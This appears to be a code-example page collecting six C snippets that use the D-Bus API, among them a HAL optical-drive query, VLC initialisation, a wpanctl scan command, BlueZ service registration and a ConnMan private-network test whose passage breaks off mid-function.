示例#1
0
int main (int argc, char *argv[])
{
    DBusConnection *dbconn;
    DBusError dberr;

    LibHalContext *hal_ctx;
    LibHalPropertyType property_type;
    char *property_key;
    dbus_bool_t bool_value;
    int int_value;
    char **udis;
    int num_udis;
    int i;

    dbus_error_init (&dberr);
    dbconn = dbus_bus_get (DBUS_BUS_SYSTEM, &dberr);
    if (dbus_error_is_set (&dberr)) {
        fprintf (stderr, "Can't get D-Bus system bus!");
        return EXIT_FAILURE;
    }

    hal_ctx = libhal_ctx_new ();
    if (hal_ctx == NULL) {
        fprintf (stderr, "Can't create a LibHalContext!");
        return EXIT_FAILURE;
    }

    /* Associate HAL with the D-Bus connection we established */
    libhal_ctx_set_dbus_connection (hal_ctx, dbconn);

    dbus_error_init (&dberr);
    libhal_ctx_init (hal_ctx, &dberr);
    if (dbus_error_is_set (&dberr)) {
        fprintf (stderr, "libhal_ctx_init() failed: '%s'.  Is hald running?",
                 dberr.message);
        dbus_error_free (&dberr);
        libhal_ctx_free (hal_ctx);
        return EXIT_FAILURE;
    }

    /* Looking for optical drives: storage.cdrom is the capability */
    udis = libhal_find_device_by_capability (hal_ctx, "storage.cdrom", &num_udis, &dberr);
    if (dbus_error_is_set (&dberr)) {
        fprintf (stderr, "libhal_find_device_by_capability error: '%s'\n", dberr.message);
        dbus_error_free (&dberr);
        libhal_ctx_free (hal_ctx);
        return EXIT_FAILURE;
    }

    printf ("Found %d Optical Device(s)\n", num_udis);
    for (i = 0; i < num_udis; i++) {
        /* Ensure our properties are the expected type */
        property_type = libhal_device_get_property_type (hal_ctx,
                        udis[i],
                        "storage.cdrom.dvd",
                        &dberr);
        if (dbus_error_is_set (&dberr) || property_type != LIBHAL_PROPERTY_TYPE_BOOLEAN) {
            fprintf (stderr, "error checking storage.cdrom.dvd type");
            dbus_error_free (&dberr);
            libhal_ctx_free (hal_ctx);
            return EXIT_FAILURE;
        }

        property_type = libhal_device_get_property_type (hal_ctx,
                        udis[i],
                        "storage.cdrom.read_speed",
                        &dberr);
        if (dbus_error_is_set (&dberr) || property_type != LIBHAL_PROPERTY_TYPE_INT32) {
            fprintf (stderr, "error checking storage.cdrom.read_speed type");
            dbus_error_free (&dberr);
            libhal_ctx_free (hal_ctx);
            return EXIT_FAILURE;
        }

        /* Okay, now simply get property values */
        bool_value = libhal_device_get_property_bool (hal_ctx, udis[i],
                     "storage.cdrom.dvd",
                     &dberr);
        if (dbus_error_is_set (&dberr)) {
            fprintf (stderr, "error getting storage.cdrom.dvd");
            dbus_error_free (&dberr);
            libhal_ctx_free (hal_ctx);
            return EXIT_FAILURE;
        }
        int_value = libhal_device_get_property_int (hal_ctx, udis[i],
                    "storage.cdrom.read_speed",
                    &dberr);
        if (dbus_error_is_set (&dberr)) {
            fprintf (stderr, "error getting storage.cdrom.dvd");
            dbus_error_free (&dberr);
            libhal_ctx_free (hal_ctx);
            return EXIT_FAILURE;
        }

        /* Display the info we just got */
        printf ("Device %s has a maximum read spead of %d kb/s and %s read DVDs.\n",
                udis[i], int_value, bool_value ? "can" : "cannot");
    }

    return EXIT_SUCCESS;
}
示例#2
0
/**
 * Initialize a libvlc instance
 * This function initializes a previously allocated libvlc instance:
 *  - CPU detection
 *  - gettext initialization
 *  - message queue, module bank and playlist initialization
 *  - configuration and commandline parsing
 */
int libvlc_InternalInit( libvlc_int_t *p_libvlc, int i_argc,
                         const char *ppsz_argv[] )
{
    libvlc_priv_t *priv = libvlc_priv (p_libvlc);
    char *       psz_modules = NULL;
    char *       psz_parser = NULL;
    char *       psz_control = NULL;
    playlist_t  *p_playlist = NULL;
    char        *psz_val;

    /* System specific initialization code */
    system_Init();

    /* Initialize the module bank and load the configuration of the
     * main module. We need to do this at this stage to be able to display
     * a short help if required by the user. (short help == main module
     * options) */
    module_InitBank ();

    /* Get command line options that affect module loading. */
    if( config_LoadCmdLine( p_libvlc, i_argc, ppsz_argv, NULL ) )
    {
        module_EndBank (false);
        return VLC_EGENERIC;
    }
    priv->i_verbose = var_InheritInteger( p_libvlc, "verbose" );

    /* Announce who we are (TODO: only first instance?) */
    msg_Dbg( p_libvlc, "VLC media player - %s", VERSION_MESSAGE );
    msg_Dbg( p_libvlc, "%s", COPYRIGHT_MESSAGE );
    msg_Dbg( p_libvlc, "revision %s", psz_vlc_changeset );
    msg_Dbg( p_libvlc, "configured with %s", CONFIGURE_LINE );

    /* Load the builtins and plugins into the module_bank.
     * We have to do it before config_Load*() because this also gets the
     * list of configuration options exported by each module and loads their
     * default values. */
    size_t module_count = module_LoadPlugins (p_libvlc);

    /*
     * Override default configuration with config file settings
     */
    if( !var_InheritBool( p_libvlc, "ignore-config" ) )
    {
        if( var_InheritBool( p_libvlc, "reset-config" ) )
            config_SaveConfigFile( p_libvlc ); /* Save default config */
        else
            config_LoadConfigFile( p_libvlc );
    }

    /*
     * Override configuration with command line settings
     */
    int vlc_optind;
    if( config_LoadCmdLine( p_libvlc, i_argc, ppsz_argv, &vlc_optind ) )
    {
#ifdef WIN32
        MessageBox (NULL, TEXT("The command line options could not be parsed.\n"
                    "Make sure they are valid."), TEXT("VLC media player"),
                    MB_OK|MB_ICONERROR);
#endif
        module_EndBank (true);
        return VLC_EGENERIC;
    }
    priv->i_verbose = var_InheritInteger( p_libvlc, "verbose" );

    /*
     * Support for gettext
     */
#if defined( ENABLE_NLS ) \
     && ( defined( HAVE_GETTEXT ) || defined( HAVE_INCLUDED_GETTEXT ) )
# if defined (WIN32) || defined (__APPLE__)
    /* Check if the user specified a custom language */
    char *lang = var_InheritString (p_libvlc, "language");
    if (lang != NULL && strcmp (lang, "auto"))
        SetLanguage (lang);
    free (lang);
# endif
    vlc_bindtextdomain (PACKAGE_NAME);
#endif
    /*xgettext: Translate "C" to the language code: "fr", "en_GB", "nl", "ru"... */
    msg_Dbg( p_libvlc, "translation test: code is \"%s\"", _("C") );

    if (config_PrintHelp (VLC_OBJECT(p_libvlc)))
    {
        module_EndBank (true);
        return VLC_EEXITSUCCESS;
    }

    if( module_count <= 1 )
    {
        msg_Err( p_libvlc, "No plugins found! Check your VLC installation.");
        module_EndBank (true);
        return VLC_ENOITEM;
    }

#ifdef HAVE_DAEMON
    /* Check for daemon mode */
    if( var_InheritBool( p_libvlc, "daemon" ) )
    {
        char *psz_pidfile = NULL;

        if( daemon( 1, 0) != 0 )
        {
            msg_Err( p_libvlc, "Unable to fork vlc to daemon mode" );
            module_EndBank (true);
            return VLC_EEXIT;
        }
        b_daemon = true;

        /* lets check if we need to write the pidfile */
        psz_pidfile = var_CreateGetNonEmptyString( p_libvlc, "pidfile" );
        if( psz_pidfile != NULL )
        {
            FILE *pidfile;
            pid_t i_pid = getpid ();
            msg_Dbg( p_libvlc, "PID is %d, writing it to %s",
                               i_pid, psz_pidfile );
            pidfile = vlc_fopen( psz_pidfile,"w" );
            if( pidfile != NULL )
            {
                utf8_fprintf( pidfile, "%d", (int)i_pid );
                fclose( pidfile );
            }
            else
            {
                msg_Err( p_libvlc, "cannot open pid file for writing: %s (%m)",
                         psz_pidfile );
            }
        }
        free( psz_pidfile );
    }
#endif

/* FIXME: could be replaced by using Unix sockets */
#ifdef HAVE_DBUS
    dbus_threads_init_default();

    if( var_InheritBool( p_libvlc, "one-instance" )
    || ( var_InheritBool( p_libvlc, "one-instance-when-started-from-file" )
      && var_InheritBool( p_libvlc, "started-from-file" ) ) )
    {
        /* Initialise D-Bus interface, check for other instances */
        DBusConnection  *p_conn = NULL;
        DBusError       dbus_error;

        dbus_error_init( &dbus_error );

        /* connect to the session bus */
        p_conn = dbus_bus_get( DBUS_BUS_SESSION, &dbus_error );
        if( !p_conn )
        {
            msg_Err( p_libvlc, "Failed to connect to D-Bus session daemon: %s",
                    dbus_error.message );
            dbus_error_free( &dbus_error );
        }
        else
        {
            /* check if VLC is available on the bus
             * if not: D-Bus control is not enabled on the other
             * instance and we can't pass MRLs to it */
            DBusMessage *p_test_msg   = NULL;
            DBusMessage *p_test_reply = NULL;

            p_test_msg =  dbus_message_new_method_call(
                    "org.mpris.MediaPlayer2.vlc", "/org/mpris/MediaPlayer2",
                    "org.freedesktop.DBus.Introspectable", "Introspect" );

            /* block until a reply arrives */
            p_test_reply = dbus_connection_send_with_reply_and_block(
                    p_conn, p_test_msg, -1, &dbus_error );
            dbus_message_unref( p_test_msg );
            if( p_test_reply == NULL )
            {
                dbus_error_free( &dbus_error );
                msg_Dbg( p_libvlc, "No Media Player is running. "
                        "Continuing normally." );
            }
            else
            {
                int i_input;
                DBusMessage* p_dbus_msg = NULL;
                DBusMessageIter dbus_args;
                DBusPendingCall* p_dbus_pending = NULL;
                dbus_bool_t b_play;

                dbus_message_unref( p_test_reply );
                msg_Warn( p_libvlc, "Another Media Player is running. Exiting");

                for( i_input = vlc_optind; i_input < i_argc;i_input++ )
                {
                    /* Skip input options, we can't pass them through D-Bus */
                    if( ppsz_argv[i_input][0] == ':' )
                    {
                        msg_Warn( p_libvlc, "Ignoring option %s",
                                  ppsz_argv[i_input] );
                        continue;
                    }

                    /* We need to resolve relative paths in this instance */
                    char *psz_mrl = make_URI( ppsz_argv[i_input], NULL );
                    const char *psz_after_track = "/";

                    if( psz_mrl == NULL )
                        continue;
                    msg_Dbg( p_libvlc, "Adds %s to the running Media Player",
                             psz_mrl );

                    p_dbus_msg = dbus_message_new_method_call(
                        "org.mpris.MediaPlayer2.vlc", "/org/mpris/MediaPlayer2",
                        "org.mpris.MediaPlayer2.TrackList", "AddTrack" );

                    if ( NULL == p_dbus_msg )
                    {
                        msg_Err( p_libvlc, "D-Bus problem" );
                        free( psz_mrl );
                        system_End( );
                        exit( 1 );
                    }

                    /* append MRLs */
                    dbus_message_iter_init_append( p_dbus_msg, &dbus_args );
                    if ( !dbus_message_iter_append_basic( &dbus_args,
                                DBUS_TYPE_STRING, &psz_mrl ) )
                    {
                        dbus_message_unref( p_dbus_msg );
                        free( psz_mrl );
                        system_End( );
                        exit( 1 );
                    }
                    free( psz_mrl );

                    if( !dbus_message_iter_append_basic( &dbus_args,
                                DBUS_TYPE_OBJECT_PATH, &psz_after_track ) )
                    {
                        dbus_message_unref( p_dbus_msg );
                        system_End( );
                        exit( 1 );
                    }

                    b_play = TRUE;
                    if( var_InheritBool( p_libvlc, "playlist-enqueue" ) )
                        b_play = FALSE;

                    if ( !dbus_message_iter_append_basic( &dbus_args,
                                DBUS_TYPE_BOOLEAN, &b_play ) )
                    {
                        dbus_message_unref( p_dbus_msg );
                        system_End( );
                        exit( 1 );
                    }

                    /* send message and get a handle for a reply */
                    if ( !dbus_connection_send_with_reply ( p_conn,
                                p_dbus_msg, &p_dbus_pending, -1 ) )
                    {
                        msg_Err( p_libvlc, "D-Bus problem" );
                        dbus_message_unref( p_dbus_msg );
                        system_End( );
                        exit( 1 );
                    }

                    if ( NULL == p_dbus_pending )
                    {
                        msg_Err( p_libvlc, "D-Bus problem" );
                        dbus_message_unref( p_dbus_msg );
                        system_End( );
                        exit( 1 );
                    }
                    dbus_connection_flush( p_conn );
                    dbus_message_unref( p_dbus_msg );
                    /* block until we receive a reply */
                    dbus_pending_call_block( p_dbus_pending );
                    dbus_pending_call_unref( p_dbus_pending );
                } /* processes all command line MRLs */

                /* bye bye */
                system_End( );
                exit( 0 );
            }
        }
        /* we unreference the connection when we've finished with it */
        if( p_conn ) dbus_connection_unref( p_conn );
    }
#endif

    /*
     * Message queue options
     */
    /* Last chance to set the verbosity. Once we start interfaces and other
     * threads, verbosity becomes read-only. */
    var_Create( p_libvlc, "verbose", VLC_VAR_INTEGER | VLC_VAR_DOINHERIT );
    if( var_InheritBool( p_libvlc, "quiet" ) )
    {
        var_SetInteger( p_libvlc, "verbose", -1 );
        priv->i_verbose = -1;
    }
    vlc_threads_setup( p_libvlc );

    if( priv->b_color )
        priv->b_color = var_InheritBool( p_libvlc, "color" );

    vlc_CPU_dump( VLC_OBJECT(p_libvlc) );
    /*
     * Choose the best memcpy module
     */
    priv->p_memcpy_module = module_need( p_libvlc, "memcpy", "$memcpy", false );
    /* Avoid being called "memcpy":*/
    vlc_object_set_name( p_libvlc, "main" );

    priv->b_stats = var_InheritBool( p_libvlc, "stats" );
    priv->i_timers = 0;
    priv->pp_timers = NULL;

    /*
     * Initialize hotkey handling
     */
    priv->actions = vlc_InitActions( p_libvlc );

    /* Create a variable for showing the fullscreen interface */
    var_Create( p_libvlc, "intf-toggle-fscontrol", VLC_VAR_BOOL );
    var_SetBool( p_libvlc, "intf-toggle-fscontrol", true );

    /* Create a variable for the Boss Key */
    var_Create( p_libvlc, "intf-boss", VLC_VAR_VOID );

    /* Create a variable for showing the main interface */
    var_Create( p_libvlc, "intf-show", VLC_VAR_BOOL );

    /* Create a variable for showing the right click menu */
    var_Create( p_libvlc, "intf-popupmenu", VLC_VAR_BOOL );

    /* variables for signalling creation of new files */
    var_Create( p_libvlc, "snapshot-file", VLC_VAR_STRING );
    var_Create( p_libvlc, "record-file", VLC_VAR_STRING );

    /* some default internal settings */
    var_Create( p_libvlc, "window", VLC_VAR_STRING );
    var_Create( p_libvlc, "user-agent", VLC_VAR_STRING );
    var_SetString( p_libvlc, "user-agent", "(LibVLC "VERSION")" );

    /* Initialize playlist and get commandline files */
    p_playlist = playlist_Create( VLC_OBJECT(p_libvlc) );
    if( !p_playlist )
    {
        msg_Err( p_libvlc, "playlist initialization failed" );
        if( priv->p_memcpy_module != NULL )
        {
            module_unneed( p_libvlc, priv->p_memcpy_module );
        }
        module_EndBank (true);
        return VLC_EGENERIC;
    }

    /* System specific configuration */
    system_Configure( p_libvlc, i_argc - vlc_optind, ppsz_argv + vlc_optind );

#if defined(MEDIA_LIBRARY)
    /* Get the ML */
    if( var_GetBool( p_libvlc, "load-media-library-on-startup" ) )
    {
        priv->p_ml = ml_Create( VLC_OBJECT( p_libvlc ), NULL );
        if( !priv->p_ml )
        {
            msg_Err( p_libvlc, "ML initialization failed" );
            return VLC_EGENERIC;
        }
    }
    else
    {
        priv->p_ml = NULL;
    }
#endif

    /* Add service discovery modules */
    psz_modules = var_InheritString( p_libvlc, "services-discovery" );
    if( psz_modules )
    {
        char *p = psz_modules, *m;
        while( ( m = strsep( &p, " :," ) ) != NULL )
            playlist_ServicesDiscoveryAdd( p_playlist, m );
        free( psz_modules );
    }

#ifdef ENABLE_VLM
    /* Initialize VLM if vlm-conf is specified */
    psz_parser = var_CreateGetNonEmptyString( p_libvlc, "vlm-conf" );
    if( psz_parser )
    {
        priv->p_vlm = vlm_New( p_libvlc );
        if( !priv->p_vlm )
            msg_Err( p_libvlc, "VLM initialization failed" );
    }
    free( psz_parser );
#endif

    /*
     * Load background interfaces
     */
    psz_modules = var_CreateGetNonEmptyString( p_libvlc, "extraintf" );
    psz_control = var_CreateGetNonEmptyString( p_libvlc, "control" );

    if( psz_modules && psz_control )
    {
        char* psz_tmp;
        if( asprintf( &psz_tmp, "%s:%s", psz_modules, psz_control ) != -1 )
        {
            free( psz_modules );
            psz_modules = psz_tmp;
        }
    }
    else if( psz_control )
    {
        free( psz_modules );
        psz_modules = strdup( psz_control );
    }

    psz_parser = psz_modules;
    while ( psz_parser && *psz_parser )
    {
        char *psz_module, *psz_temp;
        psz_module = psz_parser;
        psz_parser = strchr( psz_module, ':' );
        if ( psz_parser )
        {
            *psz_parser = '\0';
            psz_parser++;
        }
        if( asprintf( &psz_temp, "%s,none", psz_module ) != -1)
        {
            intf_Create( p_libvlc, psz_temp );
            free( psz_temp );
        }
    }
    free( psz_modules );
    free( psz_control );

    /*
     * Always load the hotkeys interface if it exists
     */
    intf_Create( p_libvlc, "hotkeys,none" );

#ifdef HAVE_DBUS
    /* loads dbus control interface if in one-instance mode
     * we do it only when playlist exists, because dbus module needs it */
    if( var_InheritBool( p_libvlc, "one-instance" )
     || ( var_InheritBool( p_libvlc, "one-instance-when-started-from-file" )
       && var_InheritBool( p_libvlc, "started-from-file" ) ) )
        intf_Create( p_libvlc, "dbus,none" );

# if !defined (HAVE_MAEMO)
    /* Prevents the power management daemon from suspending the system
     * when VLC is active */
    if( var_InheritBool( p_libvlc, "inhibit" ) > 0 )
        intf_Create( p_libvlc, "inhibit,none" );
# endif
#endif

    if( var_InheritBool( p_libvlc, "file-logging" )
#ifdef HAVE_SYSLOG_H
        && !var_InheritBool( p_libvlc, "syslog" )
#endif
        )
    {
        intf_Create( p_libvlc, "logger,none" );
    }
#ifdef HAVE_SYSLOG_H
    if( var_InheritBool( p_libvlc, "syslog" ) )
    {
        char *logmode = var_CreateGetNonEmptyString( p_libvlc, "logmode" );
        var_SetString( p_libvlc, "logmode", "syslog" );
        intf_Create( p_libvlc, "logger,none" );

        if( logmode )
        {
            var_SetString( p_libvlc, "logmode", logmode );
            free( logmode );
        }
        var_Destroy( p_libvlc, "logmode" );
    }
#endif

    if( var_InheritBool( p_libvlc, "network-synchronisation") )
    {
        intf_Create( p_libvlc, "netsync,none" );
    }

#ifdef __APPLE__
    var_Create( p_libvlc, "drawable-view-top", VLC_VAR_INTEGER );
    var_Create( p_libvlc, "drawable-view-left", VLC_VAR_INTEGER );
    var_Create( p_libvlc, "drawable-view-bottom", VLC_VAR_INTEGER );
    var_Create( p_libvlc, "drawable-view-right", VLC_VAR_INTEGER );
    var_Create( p_libvlc, "drawable-clip-top", VLC_VAR_INTEGER );
    var_Create( p_libvlc, "drawable-clip-left", VLC_VAR_INTEGER );
    var_Create( p_libvlc, "drawable-clip-bottom", VLC_VAR_INTEGER );
    var_Create( p_libvlc, "drawable-clip-right", VLC_VAR_INTEGER );
    var_Create( p_libvlc, "drawable-nsobject", VLC_VAR_ADDRESS );
#endif
#if defined (WIN32) || defined (__OS2__)
    var_Create( p_libvlc, "drawable-hwnd", VLC_VAR_INTEGER );
#endif

    /*
     * Get input filenames given as commandline arguments.
     * We assume that the remaining parameters are filenames
     * and their input options.
     */
    GetFilenames( p_libvlc, i_argc - vlc_optind, ppsz_argv + vlc_optind );

    /*
     * Get --open argument
     */
    psz_val = var_InheritString( p_libvlc, "open" );
    if ( psz_val != NULL )
    {
        playlist_AddExt( p_playlist, psz_val, NULL, PLAYLIST_INSERT, 0,
                         -1, 0, NULL, 0, true, pl_Unlocked );
        free( psz_val );
    }

    return VLC_SUCCESS;
}
示例#3
0
int tool_cmd_scan(int argc, char *argv[])
{
	int ret = 0;
	int c;
	int timeout = DEFAULT_TIMEOUT_IN_SECONDS * 1000;
	DBusConnection* connection = NULL;
	DBusMessage *message = NULL;
	DBusMessage *reply = NULL;
	DBusPendingCall *pending = NULL;
	DBusError error;
	int32_t scan_period = 0;
	uint32_t channel_mask = 0;

	dbus_error_init(&error);

	while (1) {
		static struct option long_options[] = {
			{"help", no_argument, 0, 'h'},
			{"timeout", required_argument, 0, 't'},
			{"channel", required_argument, 0, 'c'},
			{0, 0, 0, 0}
		};

		int option_index = 0;
		c = getopt_long(argc, argv, "hc:t:", long_options,
				&option_index);

		if (c == -1)
			break;

		switch (c) {
		case 'h':
			print_arg_list_help(scan_option_list, argv[0],
					    scan_cmd_syntax);
			ret = ERRORCODE_HELP;
			goto bail;

		case 't':
			timeout = strtol(optarg, NULL, 0);
			break;

		case 'c':
			channel_mask = strtomask_uint32(optarg);
			break;
		}
	}

	if (optind < argc) {
		if (scan_period == 0) {
			scan_period = strtol(argv[optind], NULL, 0);
			optind++;
		}
	}

	if (optind < argc) {
			fprintf(stderr,
			        "%s: error: Unexpected extra argument: \"%s\"\n",
			argv[0], argv[optind]);
			ret = ERRORCODE_BADARG;
			goto bail;
		}

	if (gInterfaceName[0] == 0) {
		fprintf(stderr,
		        "%s: error: No WPAN interface set (use the `cd` command, or the `-I` argument for `wpanctl`).\n",
		        argv[0]);
		ret = ERRORCODE_BADARG;
		goto bail;
	}

	connection = dbus_bus_get(DBUS_BUS_STARTER, &error);

	if (!connection) {
		dbus_error_free(&error);
		dbus_error_init(&error);
		connection = dbus_bus_get(DBUS_BUS_SYSTEM, &error);
	}

	require_string(connection != NULL, bail, error.message);

	dbus_bus_add_match(connection, gDBusObjectManagerMatchString, &error);

	require_string(error.name == NULL, bail, error.message);

	dbus_connection_add_filter(connection, &dbus_beacon_handler, NULL, NULL);

	{
		char path[DBUS_MAXIMUM_NAME_LENGTH+1];
		char interface_dbus_name[DBUS_MAXIMUM_NAME_LENGTH+1];
		DBusMessageIter iter;
		ret = lookup_dbus_name_from_interface(interface_dbus_name, gInterfaceName);

		if (ret != 0) {
			goto bail;
		}

		snprintf(
			path,
			sizeof(path),
			"%s/%s",
			WPANTUND_DBUS_PATH,
			gInterfaceName
		);

		message = dbus_message_new_method_call(
			interface_dbus_name,
			path,
			WPANTUND_DBUS_APIv1_INTERFACE,
			WPANTUND_IF_CMD_NET_SCAN_START
		);

		dbus_message_append_args(
			message,
			DBUS_TYPE_UINT32, &channel_mask,
			DBUS_TYPE_INVALID
		);

		print_scan_header();

		gScannedNetworkCount = 0;

		if(!dbus_connection_send_with_reply(
		    connection,
		    message,
			&pending,
		    timeout
	    )) {
			fprintf(stderr, "%s: error: IPC failure\n", argv[0]);
			ret = ERRORCODE_UNKNOWN;
			goto bail;
		}

		while ((dbus_connection_get_dispatch_status(connection) == DBUS_DISPATCH_DATA_REMAINS)
			|| dbus_connection_has_messages_to_send(connection)
			|| !dbus_pending_call_get_completed(pending)
		) {
			dbus_connection_read_write_dispatch(connection, 5000 /*ms*/);
		}

		reply = dbus_pending_call_steal_reply(pending);

		require(reply!=NULL, bail);


		dbus_message_iter_init(reply, &iter);

		if (dbus_message_iter_get_arg_type(&iter) != DBUS_TYPE_INT32) {
			fprintf(stderr, "%s: error: Server returned a bad response ('%c')\n",
			        argv[0], dbus_message_iter_get_arg_type(&iter));
			ret = ERRORCODE_UNKNOWN;
			goto bail;
		}

		// Get return code
		dbus_message_iter_get_basic(&iter, &ret);

		if (ret) {
			fprintf(stderr, "%s failed with error %d. %s\n", argv[0], ret, wpantund_status_to_cstr(ret));
			print_error_diagnosis(ret);
			goto bail;
		}
	}


bail:

	if (reply) {
		dbus_message_unref(reply);
	}

	if (pending != NULL) {
		dbus_pending_call_unref(pending);
	}

	if (message) {
		dbus_message_unref(message);
	}

	if (connection) {
		dbus_bus_remove_match(connection, gDBusObjectManagerMatchString, NULL);
		dbus_connection_remove_filter(connection,&dbus_beacon_handler,NULL);
		dbus_connection_unref(connection);
	}

	dbus_error_free(&error);

	return ret;
}
示例#4
0
文件: dbus.c 项目: chaind/chaind
struct dbus* dbus_start_service(struct chaind* state)
{
    struct dbus* dbus = (struct dbus*)malloc(sizeof(struct dbus));
    zero(dbus);

    dbus->state = state;

    // Try connecting to the system bus (if we're root), and if we fail, try the session bus.
    DBusError err;
    dbus_error_init(&err);

    for(int attempt = 0; attempt < 2; attempt++) {
        dbus->conn = dbus_bus_get(attempt == 0 ? DBUS_BUS_SYSTEM : DBUS_BUS_SESSION, &err);
        if(dbus_error_is_set(&err)) {
            log_warning("cannot connect to %s bus: %s", (attempt == 0) ? "system" : "session", err.message);
            goto error;
        }

        if(dbus->conn == NULL) {
            log_warning("cannot connect to %s bus", (attempt == 0) ? "system" : "session");
            goto error;
        }

        // Register the block/tx filter
        if(!dbus_connection_add_filter(dbus->conn, filter_message, (void*)dbus, NULL)) {
            log_warning("cannot register message filter");
            goto error;
        }

        // Register the object before requesting a name
        dbus_connection_register_object_path(dbus->conn, "/org/sarcharsoftware/chaind", &chaind_vtable, (void*)dbus);

        int ret = dbus_bus_request_name(dbus->conn, "org.sarcharsoftware.chaind", 0, &err);
        if(dbus_error_is_set(&err)) {
            log_warning("couldn't claim primary name org.sarcharsoftware.chaind: %s", err.message);
            dbus_connection_unref(dbus->conn);
            dbus->conn = NULL;
            dbus_error_free(&err);
            dbus_error_init(&err);
            continue;
        }

        if(ret != DBUS_REQUEST_NAME_REPLY_PRIMARY_OWNER) {
            log_warning("couldn't claim primary name org.sarcharsoftware.chaind: not the primary owner", err.message);
            goto error;
        }

        log_debug("dbus connected to %s bus", (attempt == 0) ? "system" : "session");
        break;
    }

    if(!dbus_connection_set_timeout_functions(dbus->conn, add_timeout, remove_timeout, toggle_timeout, (void*)dbus, NULL)) {
        goto error;
    }

    if(!dbus_connection_set_watch_functions(dbus->conn, add_watch, remove_watch, watch_toggled, (void*)dbus, NULL)) {
        goto error;
    }

    dbus_error_free(&err);
    return dbus;
error:
    dbus_destroy_service(dbus);
    return NULL;
}
示例#5
0
void registerService()
{
    DBusMessage* msg;
    DBusMessageIter args;
    DBusConnection* conn;
    DBusError err;
    DBusPendingCall* pending;
    dbus_uint32_t level;
    int fd;

    char path[PATH_MAX];
    const char *ret_string = 0;

    // initialiset the errors
    dbus_error_init(&err);
    conn = dbus_bus_get(DBUS_BUS_SYSTEM, &err);
    if (dbus_error_is_set(&err)) {
       fprintf(stderr, "Connection Error (%s)\n", err.message);
       dbus_error_free(&err);
       return;
    }

    // create a new method call and check for errors
    msg = dbus_message_new_method_call("org.bluez",         // target for the method call
                                       "/",                 // object to call on
                                       "org.bluez.Manager", // interface to call on
                                       "DefaultAdapter");   // method name

    if (!dbus_connection_send_with_reply (conn, msg, &pending, -1)) {
       fprintf(stderr, "dbus-send failed: Out Of Memory!\n");
       return;
    }

    dbus_connection_flush(conn);

    dbus_message_unref(msg);
    dbus_pending_call_block(pending);
    msg = dbus_pending_call_steal_reply(pending);
    dbus_pending_call_unref(pending);

    if (!dbus_message_iter_init(msg, &args))
       fprintf(stderr, "Message has no arguments!\n");
    else if (DBUS_TYPE_OBJECT_PATH != dbus_message_iter_get_arg_type(&args))
       fprintf(stderr, "Argument is not an object path!\n");
    else
       dbus_message_iter_get_basic(&args, &ret_string);

    if(!ret_string){
        fprintf(stderr, "Failed to get bluez path\n");
        return;
    }

    strcpy(path, ret_string);
    // change path to use any
    strcpy(rindex(path, '/'), "/any");

    printf("Using path: %s\n", path);   

    dbus_message_unref(msg);

    // create a new method call and check for errors
    msg = dbus_message_new_method_call("org.bluez",         // target for the method call
                                       path,                // object to call on
                                       "org.bluez.Service", // interface to call on
                                       "AddRecord");        // method name

    if(!dbus_message_append_args(msg, DBUS_TYPE_STRING, &xmldefn, DBUS_TYPE_INVALID)){
        fprintf(stderr, "Failed to append args\n");
        return;
    }

    // send message and get a handle for a reply
    if (!dbus_connection_send_with_reply (conn, msg, &pending, -1)) { // -1 is default timeout
       fprintf(stderr, "Out Of Memory!\n");
       exit(1);
    }
    dbus_connection_flush(conn);

    // free message
    dbus_message_unref(msg);

    // block until we receive a reply
    dbus_pending_call_block(pending);

    // get the reply message
    msg = dbus_pending_call_steal_reply(pending);
    if (NULL == msg) {
       fprintf(stderr, "Reply Null\n");
       return;
    }
    // free the pending message handle
    dbus_pending_call_unref(pending);

    // read the parameters
    if (!dbus_message_iter_init(msg, &args))
       fprintf(stderr, "Message has no arguments!\n");
    else if (DBUS_TYPE_UINT32 != dbus_message_iter_get_arg_type(&args))
       fprintf(stderr, "Argument is not int!\n");
    else
       dbus_message_iter_get_basic(&args, &level);

    printf("Got handle: 0x%x\n", level);

    // free reply
    dbus_message_unref(msg);

    dbus_connection_get_socket(conn, &fd);
    addfd(head, fd, POLLHUP|POLLNVAL, dbus_error, 0x0);
}
int main(int argc, char *argv[])
{
	DBusConnection *conn;
	int fd = -1;
	char *server_ip;
	char *peer_ip;
	char *primary_dns;
	char *secondary_dns;

	/*
	 * IP packet: src: 192.168.219.2 dst www.connman.net
	 * HTTP GET / request
	 */
	int buf[81] = { 0x45, 0x00, 0x00, 0x51, 0x5a, 0xbe, 0x00, 0x00, 0x40,
			0x06, 0x50, 0x73, 0xc0, 0xa8, 0xdb, 0x01, 0x3e, 0x4b,
			0xf5, 0x80, 0x30, 0x3b, 0x00, 0x50, 0x00, 0x00, 0x00,
			0x28, 0x04, 0xfd, 0xac, 0x9b, 0x50, 0x18, 0x02, 0x00,
			0xa1, 0xb3, 0x00, 0x00, 0x47, 0x45, 0x54, 0x20, 0x2f,
			0x20, 0x48, 0x54, 0x54, 0x50, 0x2f, 0x31, 0x2e, 0x31,
			0x0d, 0x0a, 0x48, 0x6f, 0x73, 0x74, 0x3a, 0x20, 0x77,
			0x77, 0x77, 0x2e, 0x63, 0x6f, 0x6e, 0x6e, 0x6d, 0x61,
			0x6e, 0x2e, 0x6e, 0x65, 0x74, 0x0d, 0x0a, 0x0d, 0x0a};


	int buf2[81] = { 0x45, 0x00, 0x00, 0x51, 0x57, 0x9d, 0x00, 0x00, 0x40,
			 0x06, 0x53, 0x93, 0xc0, 0xa8, 0xdb, 0x02, 0x3e, 0x4b,
			 0xf5, 0x80, 0x30, 0x3b, 0x00, 0x50, 0x00, 0x00, 0x00,
			 0x28, 0x17, 0xdb, 0x2e, 0x6d, 0x50, 0x18, 0x02, 0x00,
			 0x0d, 0x03, 0x00, 0x00, 0x47, 0x45, 0x54, 0x20, 0x2f,
			 0x20, 0x48, 0x54, 0x54, 0x50, 0x2f, 0x31, 0x2e, 0x31,
			 0x0d, 0x0a, 0x48, 0x6f, 0x73, 0x74, 0x3a, 0x20, 0x77,
			 0x77, 0x77, 0x2e, 0x63, 0x6f, 0x6e, 0x6e, 0x6d, 0x61,
			 0x6e, 0x2e, 0x6e, 0x65, 0x74, 0x0d, 0x0a, 0x0d, 0x0a};

	if (DBUS_TYPE_UNIX_FD < 0) {
		fprintf(stderr, "File-descriptor passing not supported\n");
		exit(1);
	}

	conn = dbus_bus_get(DBUS_BUS_SYSTEM, NULL);
	if (!conn) {
		fprintf(stderr, "Can't get on system bus\n");
		exit(1);
	}

	request_private_network(conn, &fd, &server_ip, &peer_ip,
					&primary_dns, &secondary_dns);
	if (fd < 0)
		return -1;

	fcntl(fd, F_SETFL, O_NONBLOCK);

